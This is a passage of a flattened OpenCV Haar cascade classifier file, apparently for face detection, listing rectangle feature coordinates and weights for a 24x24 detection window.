9 7 4 2. + <_> + 5 13 7 4 2. + <_> + + <_> + 9 1 3 14 -1. + <_> + 9 8 3 7 2. + <_> + + <_> + 12 6 6 12 -1. + <_> + 12 10 6 4 3. + <_> + + <_> + 4 5 4 18 -1. + <_> + 4 5 2 9 2. + <_> + 6 14 2 9 2. + <_> + + <_> + 4 6 16 18 -1. + <_> + 4 12 16 6 3. + <_> + + <_> + 5 4 7 20 -1. + <_> + 5 14 7 10 2. + <_> + + <_> + 14 8 8 12 -1. + <_> + 14 14 8 6 2. + <_> + + <_> + 9 10 6 14 -1. + <_> + 9 10 3 7 2. + <_> + 12 17 3 7 2. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 9 4 3 18 -1. + <_> + 10 4 1 18 3. + <_> + + <_> + 1 4 22 14 -1. + <_> + 12 4 11 7 2. + <_> + 1 11 11 7 2. + <_> + + <_> + 2 7 18 2 -1. + <_> + 2 8 18 1 2. + <_> + + <_> + 12 6 6 12 -1. + <_> + 12 10 6 4 3. + <_> + + <_> + 6 5 9 7 -1. + <_> + 9 5 3 7 3. + <_> + + <_> + 12 7 4 12 -1. + <_> + 12 13 4 6 2. + <_> + + <_> + 8 7 4 12 -1. + <_> + 8 13 4 6 2. + <_> + + <_> + 7 2 10 22 -1. + <_> + 7 13 10 11 2. + <_> + + <_> + 0 1 3 20 -1. + <_> + 1 1 1 20 3. + <_> + + <_> + 4 13 18 4 -1. + <_> + 13 13 9 2 2. + <_> + 4 15 9 2 2. + <_> + + <_> + 2 13 18 4 -1. + <_> + 2 13 9 2 2. + <_> + 11 15 9 2 2. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 6 0 18 24 -1. + <_> + 15 0 9 12 2. + <_> + 6 12 9 12 2. + <_> + + <_> + 6 6 6 12 -1. + <_> + 6 10 6 4 3. + <_> + + <_> + 8 7 10 4 -1. + <_> + 8 9 10 2 2. + <_> + + <_> + 1 9 18 6 -1. + <_> + 1 9 9 3 2. + <_> + 10 12 9 3 2. + <_> + + <_> + 6 6 18 3 -1. + <_> + 6 7 18 1 3. + <_> + + <_> + 7 7 9 8 -1. + <_> + 10 7 3 8 3. + <_> + + <_> + 10 12 6 12 -1. + <_> + 12 12 2 12 3. + <_> + + <_> + 3 14 18 3 -1. + <_> + 3 15 18 1 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 1 12 10 6 -1. + <_> + 1 14 10 2 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 10 3 3 19 -1. + <_> + 11 3 1 19 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 6 1 11 9 -1. + <_> + 6 4 11 3 3. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 6 5 11 6 -1. + <_> + 6 8 11 3 2. + <_> + + <_> + 16 7 8 5 -1. + <_> + 16 7 4 5 2. + <_> + + <_> + 2 4 20 19 -1. + <_> + 12 4 10 19 2. + <_> + + <_> + 2 1 21 6 -1. + <_> + 9 1 7 6 3. + <_> + + <_> + 6 5 12 14 -1. + <_> + 6 5 6 7 2. + <_> + 12 12 6 7 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 2 11 8 5 -1. + <_> + 6 11 4 5 2. + <_> + + <_> + 16 7 8 5 -1. + <_> + 16 7 4 5 2. + <_> + + <_> + 0 7 8 5 -1. + <_> + 4 7 4 5 2. + <_> + + <_> + 15 17 9 7 -1. + <_> + 18 17 3 7 3. + <_> + + <_> + 8 6 8 10 -1. + <_> + 8 6 4 5 2. + <_> + 12 11 4 5 2. + <_> + + <_> + 15 15 9 9 -1. + <_> + 18 15 3 9 3. + <_> + + <_> + 0 15 9 9 -1. + <_> + 3 15 3 9 3. + <_> + + <_> + 12 10 9 7 -1. + <_> + 15 10 3 7 3. + <_> + + <_> + 3 10 9 7 -1. + <_> + 6 10 3 7 3. + <_> + + <_> + 13 15 10 8 -1. + <_> + 18 15 5 4 2. + <_> + 13 19 5 4 2. + <_> + + <_> + 0 1 6 12 -1. + <_> + 0 1 3 6 2. + <_> + 3 7 3 6 2. + <_> + + <_> + 10 0 6 12 -1. + <_> + 13 0 3 6 2. + <_> + 10 6 3 6 2. + <_> + + <_> + 7 0 10 12 -1. + <_> + 7 0 5 6 2. + <_> + 12 6 5 6 2. + <_> + + <_> + 4 1 16 8 -1. + <_> + 4 1 8 8 2. + <_> + + <_> + 0 21 19 3 -1. + <_> + 0 22 19 1 3. + <_> + + <_> + 6 9 18 4 -1. + <_> + 15 9 9 2 2. + <_> + 6 11 9 2 2. + <_> + + <_> + 3 4 9 6 -1. + <_> + 3 6 9 2 3. + <_> + + <_> + 9 1 6 15 -1. + <_> + 9 6 6 5 3. + <_> + + <_> + 5 9 6 6 -1. + <_> + 8 9 3 6 2. + <_> + + <_> + 5 1 14 9 -1. + <_> + 5 4 14 3 3. + <_> + + <_> + 3 0 8 20 -1. + <_> + 3 0 4 10 2. + <_> + 7 10 4 10 2. + <_> + + <_> + 5 0 7 9 -1. + <_> + 5 3 7 3 3. + <_> + + <_> + 6 6 12 5 -1. + <_> + 10 6 4 5 3. + <_> + + <_> + 0 1 8 14 -1. + <_> + 4 1 4 14 2. + <_> + + <_> + 2 12 22 4 -1. + <_> + 2 14 22 2 2. + <_> + + <_> + 8 17 6 6 -1. + <_> + 8 20 6 3 2. + <_> + + <_> + 18 1 6 7 -1. + <_> + 18 1 3 7 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 4 6 17 18 -1. + <_> + 4 12 17 6 3. + <_> + + <_> + 6 0 12 6 -1. + <_> + 6 0 6 3 2. + <_> + 12 3 6 3 2. + <_> + + <_> + 4 7 18 4 -1. + <_> + 13 7 9 2 2. + <_> + 4 9 9 2 2. + <_> + + <_> + 4 12 10 6 -1. + <_> + 4 14 10 2 3. + <_> + + <_> + 7 9 10 12 -1. + <_> + 12 9 5 6 2. + <_> + 7 15 5 6 2. + <_> + + <_> + 0 1 24 3 -1. + <_> + 8 1 8 3 3. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 6 -1. + <_> + 8 11 3 6 2. + <_> + + <_> + 3 10 19 3 -1. + <_> + 3 11 19 1 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 14 16 10 6 -1. + <_> + 14 18 10 2 3. + <_> + + <_> + 0 16 10 6 -1. + <_> + 0 18 10 2 3. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 18 9 6 -1. + <_> + 0 20 9 2 3. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 6 2 6 9 -1. + <_> + 8 2 2 9 3. + <_> + + <_> + 15 8 4 12 -1. + <_> + 15 8 2 12 2. + <_> + + <_> + 8 13 8 8 -1. + <_> + 8 17 8 4 2. + <_> + + <_> + 4 20 18 3 -1. + <_> + 10 20 6 3 3. + <_> + + <_> + 5 8 4 12 -1. + <_> + 7 8 2 12 2. + <_> + + <_> + 7 7 12 3 -1. + <_> + 7 7 6 3 2. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 5 20 18 3 -1. + <_> + 11 20 6 3 3. + <_> + + <_> + 1 20 18 3 -1. + <_> + 7 20 6 3 3. + <_> + + <_> + 18 1 6 20 -1. + <_> + 21 1 3 10 2. + <_> + 18 11 3 10 2. + <_> + + <_> + 0 1 6 20 -1. + <_> + 0 1 3 10 2. + <_> + 3 11 3 10 2. + <_> + + <_> + 13 3 4 18 -1. + <_> + 15 3 2 9 2. + <_> + 13 12 2 9 2. + <_> + + <_> + 0 2 6 12 -1. + <_> + 0 6 6 4 3. + <_> + + <_> + 12 9 12 6 -1. + <_> + 18 9 6 3 2. + <_> + 12 12 6 3 2. + <_> + + <_> + 7 3 4 18 -1. + <_> + 7 3 2 9 2. + <_> + 9 12 2 9 2. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 0 9 12 6 -1. + <_> + 0 9 6 3 2. + <_> + 6 12 6 3 2. + <_> + + <_> + 14 4 8 20 -1. + <_> + 18 4 4 10 2. + <_> + 14 14 4 10 2. + <_> + + <_> + 2 4 8 20 -1. + <_> + 2 4 4 10 2. + <_> + 6 14 4 10 2. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 1 13 9 6 -1. + <_> + 1 15 9 2 3. + <_> + + <_> + 3 15 18 3 -1. + <_> + 9 15 6 3 3. + <_> + + <_> + 5 13 9 6 -1. + <_> + 5 15 9 2 3. + <_> + + <_> + 5 0 18 3 -1. + <_> + 5 1 18 1 3. + <_> + + <_> + 8 2 6 7 -1. + <_> + 11 2 3 7 2. + <_> + + <_> + 9 1 9 6 -1. + <_> + 12 1 3 6 3. + <_> + + <_> + 6 1 9 6 -1. + <_> + 9 1 3 6 3. + <_> + + <_> + 5 6 14 6 -1. + <_> + 12 6 7 3 2. + <_> + 5 9 7 3 2. + <_> + + <_> + 8 2 6 13 -1. + <_> + 10 2 2 13 3. + <_> + + <_> + 6 11 12 6 -1. + <_> + 12 11 6 3 2. + <_> + 6 14 6 3 2. + <_> + + <_> + 3 1 18 15 -1. + <_> + 9 1 6 15 3. + <_> + + <_> + 13 0 6 7 -1. + <_> + 13 0 3 7 2. + <_> + + <_> + 3 3 16 6 -1. + <_> + 3 6 16 3 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 7 7 6 9 -1. + <_> + 9 7 2 9 3. + <_> + + <_> + 13 0 4 24 -1. + <_> + 13 0 2 24 2. + <_> + + <_> + 7 0 4 24 -1. + <_> + 9 0 2 24 2. + <_> + + <_> + 11 9 5 12 -1. + <_> + 11 13 5 4 3. + <_> + + <_> + 7 15 9 6 -1. + <_> + 7 17 9 2 3. + <_> + + <_> + 5 7 18 6 -1. + <_> + 5 9 18 2 3. + <_> + + <_> + 8 9 5 12 -1. + <_> + 8 13 5 4 3. + <_> + + <_> + 4 17 17 6 -1. + <_> + 4 19 17 2 3. + <_> + + <_> + 0 3 18 14 -1. + <_> + 0 3 9 7 2. + <_> + 9 10 9 7 2. + <_> + + <_> + 0 1 24 2 -1. + <_> + 0 2 24 1 2. + <_> + + <_> + 0 15 18 3 -1. + <_> + 0 16 18 1 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 3 3 14 12 -1. + <_> + 3 9 14 6 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 10 6 6 10 -1. + <_> + 12 6 2 10 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 2 0 21 7 -1. + <_> + 9 0 7 7 3. + <_> + + <_> + 6 11 12 5 -1. + <_> + 10 11 4 5 3. + <_> + + <_> + 8 7 9 8 -1. + <_> + 11 7 3 8 3. + <_> + + <_> + 9 6 6 18 -1. + <_> + 9 6 3 9 2. + <_> + 12 15 3 9 2. + <_> + + <_> + 15 14 8 10 -1. + <_> + 19 14 4 5 2. + <_> + 15 19 4 5 2. + <_> + + <_> + 1 14 8 10 -1. + <_> + 1 14 4 5 2. + <_> + 5 19 4 5 2. + <_> + + <_> + 11 0 8 10 -1. + <_> + 15 0 4 5 2. + <_> + 11 5 4 5 2. + <_> + + <_> + 5 0 8 10 -1. + <_> + 5 0 4 5 2. + <_> + 9 5 4 5 2. + <_> + + <_> + 6 1 12 5 -1. + <_> + 6 1 6 5 2. + <_> + + <_> + 1 12 18 2 -1. + <_> + 10 12 9 2 2. + <_> + + <_> + 2 8 20 6 -1. + <_> + 12 8 10 3 2. + <_> + 2 11 10 3 2. + <_> + + <_> + 7 6 9 7 -1. + <_> + 10 6 3 7 3. + <_> + + <_> + 10 5 8 16 -1. + <_> + 14 5 4 8 2. + <_> + 10 13 4 8 2. + <_> + + <_> + 3 9 16 8 -1. + <_> + 3 9 8 4 2. + <_> + 11 13 8 4 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 7 12 10 8 -1. + <_> + 7 12 5 4 2. + <_> + 12 16 5 4 2. + <_> + + <_> + 9 19 15 4 -1. + <_> + 14 19 5 4 3. + <_> + + <_> + 1 0 18 9 -1. + <_> + 7 0 6 9 3. + <_> + + <_> + 13 4 10 8 -1. + <_> + 18 4 5 4 2. + <_> + 13 8 5 4 2. + <_> + + <_> + 3 16 18 4 -1. + <_> + 9 16 6 4 3. + <_> + + <_> + 8 7 10 12 -1. + <_> + 13 7 5 6 2. + <_> + 8 13 5 6 2. + <_> + + <_> + 6 7 10 12 -1. + <_> + 6 7 5 6 2. + <_> + 11 13 5 6 2. + <_> + + <_> + 4 6 18 7 -1. + <_> + 10 6 6 7 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 3 17 18 3 -1. + <_> + 3 18 18 1 3. + <_> + + <_> + 2 4 6 10 -1. + <_> + 4 4 2 10 3. + <_> + + <_> + 16 0 8 24 -1. + <_> + 16 0 4 24 2. + <_> + + <_> + 4 0 8 15 -1. + <_> + 8 0 4 15 2. + <_> + + <_> + 16 0 8 24 -1. + <_> + 16 0 4 24 2. + <_> + + <_> + 1 4 18 9 -1. + <_> + 7 4 6 9 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 3 9 18 6 -1. + <_> + 3 9 9 3 2. + <_> + 12 12 9 3 2. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 0 5 6 9 -1. + <_> + 0 8 6 3 3. + <_> + + <_> + 4 7 18 4 -1. + <_> + 13 7 9 2 2. + <_> + 4 9 9 2 2. + <_> + + <_> + 2 1 12 20 -1. + <_> + 2 1 6 10 2. + <_> + 8 11 6 10 2. + <_> + + <_> + 17 0 6 23 -1. + <_> + 17 0 3 23 2. + <_> + + <_> + 1 6 2 18 -1. + <_> + 1 15 2 9 2. + <_> + + <_> + 8 8 10 6 -1. + <_> + 8 10 10 2 3. + <_> + + <_> + 0 6 20 6 -1. + <_> + 0 6 10 3 2. + <_> + 10 9 10 3 2. + <_> + + <_> + 11 12 12 5 -1. + <_> + 15 12 4 5 3. + <_> + + <_> + 0 4 3 19 -1. + <_> + 1 4 1 19 3. + <_> + + <_> + 19 1 3 18 -1. + <_> + 20 1 1 18 3. + <_> + + <_> + 2 1 3 18 -1. + <_> + 3 1 1 18 3. + <_> + + <_> + 3 10 18 3 -1. + <_> + 9 10 6 3 3. + <_> + + <_> + 4 4 10 9 -1. + <_> + 9 4 5 9 2. + <_> + + <_> + 7 13 14 7 -1. + <_> + 7 13 7 7 2. + <_> + + <_> + 3 13 14 7 -1. + <_> + 10 13 7 7 2. + <_> + + <_> + 8 15 9 6 -1. + <_> + 11 15 3 6 3. + <_> + + <_> + 4 14 8 10 -1. + <_> + 4 14 4 5 2. + <_> + 8 19 4 5 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 3 8 5 16 -1. + <_> + 3 16 5 8 2. + <_> + + <_> + 15 10 9 6 -1. + <_> + 15 12 9 2 3. + <_> + + <_> + 0 10 9 6 -1. + <_> + 0 12 9 2 3. + <_> + + <_> + 6 7 12 9 -1. + <_> + 6 10 12 3 3. + <_> + + <_> + 9 10 5 8 -1. + <_> + 9 14 5 4 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 16 6 7 6 -1. + <_> + 16 9 7 3 2. + <_> + + <_> + 8 1 4 22 -1. + <_> + 10 1 2 22 2. + <_> + + <_> + 6 6 14 3 -1. + <_> + 6 6 7 3 2. + <_> + + <_> + 0 18 19 3 -1. + <_> + 0 19 19 1 3. + <_> + + <_> + 17 0 6 24 -1. + <_> + 17 0 3 24 2. + <_> + + <_> + 0 13 15 6 -1. + <_> + 5 13 5 6 3. + <_> + + <_> + 9 6 10 14 -1. + <_> + 14 6 5 7 2. + <_> + 9 13 5 7 2. + <_> + + <_> + 1 6 8 10 -1. + <_> + 1 6 4 5 2. + <_> + 5 11 4 5 2. + <_> + + <_> + 7 6 12 5 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 7 7 9 6 -1. + <_> + 10 7 3 6 3. + <_> + + <_> + 7 8 14 14 -1. + <_> + 14 8 7 7 2. + <_> + 7 15 7 7 2. + <_> + + <_> + 3 8 14 14 -1. + <_> + 3 8 7 7 2. + <_> + 10 15 7 7 2. + <_> + + <_> + 9 8 13 4 -1. + <_> + 9 10 13 2 2. + <_> + + <_> + 3 2 6 12 -1. + <_> + 3 2 3 6 2. + <_> + 6 8 3 6 2. + <_> + + <_> + 6 10 17 6 -1. + <_> + 6 13 17 3 2. + <_> + + <_> + 1 10 17 6 -1. + <_> + 1 13 17 3 2. + <_> + + <_> + 16 7 8 9 -1. + <_> + 16 10 8 3 3. + <_> + + <_> + 0 7 8 9 -1. + <_> + 0 10 8 3 3. + <_> + + <_> + 0 9 24 10 -1. + <_> + 12 9 12 5 2. + <_> + 0 14 12 5 2. + <_> + + <_> + 3 2 15 8 -1. + <_> + 8 2 5 8 3. + <_> + + <_> + 4 2 18 8 -1. + <_> + 10 2 6 8 3. + <_> + + <_> + 0 1 18 4 -1. + <_> + 0 1 9 2 2. + <_> + 9 3 9 2 2. + <_> + + <_> + 20 2 3 18 -1. + <_> + 21 2 1 18 3. + <_> + + <_> + 1 3 3 19 -1. + <_> + 2 3 1 19 3. + <_> + + <_> + 18 8 6 16 -1. + <_> + 20 8 2 16 3. + <_> + + <_> + 0 8 6 16 -1. + <_> + 2 8 2 16 3. + <_> + + <_> + 8 18 11 6 -1. + <_> + 8 20 11 2 3. + <_> + + <_> + 4 6 12 5 -1. + <_> + 8 6 4 5 3. + <_> + + <_> + 7 6 12 5 -1. + <_> + 11 6 4 5 3. + <_> + + <_> + 6 3 9 6 -1. + <_> + 9 3 3 6 3. + <_> + + <_> + 7 6 12 5 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 9 8 6 7 -1. + <_> + 12 8 3 7 2. + <_> + + <_> + 8 2 9 6 -1. + <_> + 11 2 3 6 3. + <_> + + <_> + 8 14 6 9 -1. + <_> + 8 17 6 3 3. + <_> + + <_> + 8 2 9 6 -1. + <_> + 11 2 3 6 3. + <_> + + <_> + 4 3 16 20 -1. + <_> + 4 3 8 10 2. + <_> + 12 13 8 10 2. + <_> + + <_> + 7 6 10 12 -1. + <_> + 12 6 5 6 2. + <_> + 7 12 5 6 2. + <_> + + <_> + 0 2 7 12 -1. + <_> + 0 6 7 4 3. + <_> + + <_> + 12 17 11 6 -1. + <_> + 12 19 11 2 3. + <_> + + <_> + 4 7 12 8 -1. + <_> + 4 7 6 4 2. + <_> + 10 11 6 4 2. + <_> + + <_> + 8 11 8 10 -1. + <_> + 12 11 4 5 2. + <_> + 8 16 4 5 2. + <_> + + <_> + 9 1 4 9 -1. + <_> + 11 1 2 9 2. + <_> + + <_> + 14 0 3 22 -1. + <_> + 15 0 1 22 3. + <_> + + <_> + 7 0 3 22 -1. + <_> + 8 0 1 22 3. + <_> + + <_> + 4 7 18 4 -1. + <_> + 13 7 9 2 2. + <_> + 4 9 9 2 2. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 0 0 18 13 -1. + <_> + 9 0 9 13 2. + <_> + + <_> + 16 0 3 24 -1. + <_> + 17 0 1 24 3. + <_> + + <_> + 5 0 3 24 -1. + <_> + 6 0 1 24 3. + <_> + + <_> + 10 15 5 8 -1. + <_> + 10 19 5 4 2. + <_> + + <_> + 2 18 18 2 -1. + <_> + 2 19 18 1 2. + <_> + + <_> + 2 8 20 3 -1. + <_> + 2 9 20 1 3. + <_> + + <_> + 7 6 9 6 -1. + <_> + 7 8 9 2 3. + <_> + + <_> + 3 2 19 10 -1. + <_> + 3 7 19 5 2. + <_> + + <_> + 2 7 19 3 -1. + <_> + 2 8 19 1 3. + <_> + + <_> + 15 6 9 4 -1. + <_> + 15 8 9 2 2. + <_> + + <_> + 2 2 18 8 -1. + <_> + 8 2 6 8 3. + <_> + + <_> + 10 9 14 4 -1. + <_> + 10 9 7 4 2. + <_> + + <_> + 4 4 6 16 -1. + <_> + 7 4 3 16 2. + <_> + + <_> + 15 8 9 16 -1. + <_> + 18 8 3 16 3. + <_> + + <_> + 0 8 9 16 -1. + <_> + 3 8 3 16 3. + <_> + + <_> + 18 0 6 14 -1. + <_> + 20 0 2 14 3. + <_> + + <_> + 0 0 6 14 -1. + <_> + 2 0 2 14 3. + <_> + + <_> + 15 0 6 22 -1. + <_> + 17 0 2 22 3. + <_> + + <_> + 3 0 6 22 -1. + <_> + 5 0 2 22 3. + <_> + + <_> + 12 2 12 20 -1. + <_> + 16 2 4 20 3. + <_> + + <_> + 0 2 12 20 -1. + <_> + 4 2 4 20 3. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 9 0 6 16 -1. + <_> + 12 0 3 16 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 3 4 18 6 -1. + <_> + 3 4 9 3 2. + <_> + 12 7 9 3 2. + <_> + + <_> + 5 5 16 8 -1. + <_> + 13 5 8 4 2. + <_> + 5 9 8 4 2. + <_> + + <_> + 0 13 10 6 -1. + <_> + 0 15 10 2 3. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 6 2 9 6 -1. + <_> + 9 2 3 6 3. + <_> + + <_> + 14 1 10 8 -1. + <_> + 19 1 5 4 2. + <_> + 14 5 5 4 2. + <_> + + <_> + 9 1 3 12 -1. + <_> + 9 7 3 6 2. + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 5 12 6 -1. + <_> + 10 5 4 6 3. + <_> + + <_> + 1 1 8 5 -1. + <_> + 5 1 4 5 2. + <_> + + <_> + 12 12 6 8 -1. + <_> + 12 16 6 4 2. + <_> + + <_> + 3 12 12 6 -1. + <_> + 3 14 12 2 3. + <_> + + <_> + 9 18 12 6 -1. + <_> + 15 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 4 13 6 6 -1. + <_> + 4 16 6 3 2. + <_> + + <_> + 11 3 7 18 -1. + <_> + 11 12 7 9 2. + <_> + + <_> + 3 9 18 3 -1. + <_> + 9 9 6 3 3. + <_> + + <_> + 5 3 19 2 -1. + <_> + 5 4 19 1 2. + <_> + + <_> + 4 2 12 6 -1. + <_> + 4 2 6 3 2. + <_> + 10 5 6 3 2. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 16 9 5 15 -1. + <_> + 16 14 5 5 3. + <_> + + <_> + 3 9 5 15 -1. + <_> + 3 14 5 5 3. + <_> + + <_> + 6 6 14 6 -1. + <_> + 13 6 7 3 2. + <_> + 6 9 7 3 2. + <_> + + <_> + 8 6 3 14 -1. + <_> + 8 13 3 7 2. + <_> + + <_> + 0 16 24 5 -1. + <_> + 8 16 8 5 3. + <_> + + <_> + 0 20 20 3 -1. + <_> + 10 20 10 3 2. + <_> + + <_> + 5 10 18 2 -1. + <_> + 5 11 18 1 2. + <_> + + <_> + 0 6 6 10 -1. + <_> + 2 6 2 10 3. + <_> + + <_> + 2 1 20 3 -1. + <_> + 2 2 20 1 3. + <_> + + <_> + 9 13 6 11 -1. + <_> + 11 13 2 11 3. + <_> + + <_> + 9 15 6 8 -1. + <_> + 9 19 6 4 2. + <_> + + <_> + 9 12 6 9 -1. + <_> + 9 15 6 3 3. + <_> + + <_> + 5 11 18 2 -1. + <_> + 5 12 18 1 2. + <_> + + <_> + 2 6 15 6 -1. + <_> + 2 8 15 2 3. + <_> + + <_> + 6 0 18 3 -1. + <_> + 6 1 18 1 3. + <_> + + <_> + 5 0 3 18 -1. + <_> + 6 0 1 18 3. + <_> + + <_> + 18 3 6 10 -1. + <_> + 20 3 2 10 3. + <_> + + <_> + 0 3 6 10 -1. + <_> + 2 3 2 10 3. + <_> + + <_> + 10 5 8 9 -1. + <_> + 10 5 4 9 2. + <_> + + <_> + 6 5 8 9 -1. + <_> + 10 5 4 9 2. + <_> + + <_> + 3 2 20 3 -1. + <_> + 3 3 20 1 3. + <_> + + <_> + 5 2 13 4 -1. + <_> + 5 4 13 2 2. + <_> + + <_> + 17 0 7 14 -1. + <_> + 17 7 7 7 2. + <_> + + <_> + 0 0 7 14 -1. + <_> + 0 7 7 7 2. + <_> + + <_> + 9 11 10 6 -1. + <_> + 9 11 5 6 2. + <_> + + <_> + 5 11 10 6 -1. + <_> + 10 11 5 6 2. + <_> + + <_> + 11 6 3 18 -1. + <_> + 11 12 3 6 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 4 6 9 10 -1. + <_> + 4 11 9 5 2. + <_> + + <_> + 9 7 15 4 -1. + <_> + 9 9 15 2 2. + <_> + + <_> + 5 6 12 6 -1. + <_> + 5 6 6 3 2. + <_> + 11 9 6 3 2. + <_> + + <_> + 6 1 12 9 -1. + <_> + 6 4 12 3 3. + <_> + + <_> + 7 9 6 12 -1. + <_> + 7 9 3 6 2. + <_> + 10 15 3 6 2. + <_> + + <_> + 11 5 13 6 -1. + <_> + 11 7 13 2 3. + <_> + + <_> + 1 11 22 13 -1. + <_> + 12 11 11 13 2. + <_> + + <_> + 18 8 6 6 -1. + <_> + 18 11 6 3 2. + <_> + + <_> + 0 8 6 6 -1. + <_> + 0 11 6 3 2. + <_> + + <_> + 0 6 24 3 -1. + <_> + 0 7 24 1 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 6 7 18 3 -1. + <_> + 6 8 18 1 3. + <_> + + <_> + 0 0 10 6 -1. + <_> + 0 2 10 2 3. + <_> + + <_> + 19 0 3 19 -1. + <_> + 20 0 1 19 3. + <_> + + <_> + 4 6 12 16 -1. + <_> + 4 6 6 8 2. + <_> + 10 14 6 8 2. + <_> + + <_> + 19 6 4 18 -1. + <_> + 21 6 2 9 2. + <_> + 19 15 2 9 2. + <_> + + <_> + 1 6 4 18 -1. + <_> + 1 6 2 9 2. + <_> + 3 15 2 9 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 3 22 18 1 3. + <_> + + <_> + 0 19 9 4 -1. + <_> + 0 21 9 2 2. + <_> + + <_> + 12 18 12 6 -1. + <_> + 18 18 6 3 2. + <_> + 12 21 6 3 2. + <_> + + <_> + 7 18 9 4 -1. + <_> + 7 20 9 2 2. + <_> + + <_> + 12 16 10 8 -1. + <_> + 17 16 5 4 2. + <_> + 12 20 5 4 2. + <_> + + <_> + 2 16 10 8 -1. + <_> + 2 16 5 4 2. + <_> + 7 20 5 4 2. + <_> + + <_> + 14 0 10 12 -1. + <_> + 19 0 5 6 2. + <_> + 14 6 5 6 2. + <_> + + <_> + 0 0 10 12 -1. + <_> + 0 0 5 6 2. + <_> + 5 6 5 6 2. + <_> + + <_> + 15 14 9 6 -1. + <_> + 15 16 9 2 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 14 14 10 6 -1. + <_> + 14 16 10 2 3. + <_> + + <_> + 0 14 10 6 -1. + <_> + 0 16 10 2 3. + <_> + + <_> + 5 18 18 2 -1. + <_> + 5 19 18 1 2. + <_> + + <_> + 0 18 18 3 -1. + <_> + 0 19 18 1 3. + <_> + + <_> + 3 5 18 12 -1. + <_> + 12 5 9 6 2. + <_> + 3 11 9 6 2. + <_> + + <_> + 5 3 7 9 -1. + <_> + 5 6 7 3 3. + <_> + + <_> + 4 0 19 15 -1. + <_> + 4 5 19 5 3. + <_> + + <_> + 3 0 16 4 -1. + <_> + 3 2 16 2 2. + <_> + + <_> + 4 12 16 12 -1. + <_> + 4 12 8 12 2. + <_> + + <_> + 4 3 12 15 -1. + <_> + 10 3 6 15 2. + <_> + + <_> + 16 4 2 19 -1. + <_> + 16 4 1 19 2. + <_> + + <_> + 6 4 2 19 -1. + <_> + 7 4 1 19 2. + <_> + + <_> + 13 14 8 10 -1. + <_> + 17 14 4 5 2. + <_> + 13 19 4 5 2. + <_> + + <_> + 3 14 8 10 -1. + <_> + 3 14 4 5 2. + <_> + 7 19 4 5 2. + <_> + + <_> + 12 6 3 18 -1. + <_> + 12 12 3 6 3. + <_> + + <_> + 5 11 12 6 -1. + <_> + 5 11 6 3 2. + <_> + 11 14 6 3 2. + <_> + + <_> + 10 5 8 10 -1. + <_> + 14 5 4 5 2. + <_> + 10 10 4 5 2. + <_> + + <_> + 6 4 12 10 -1. + <_> + 6 4 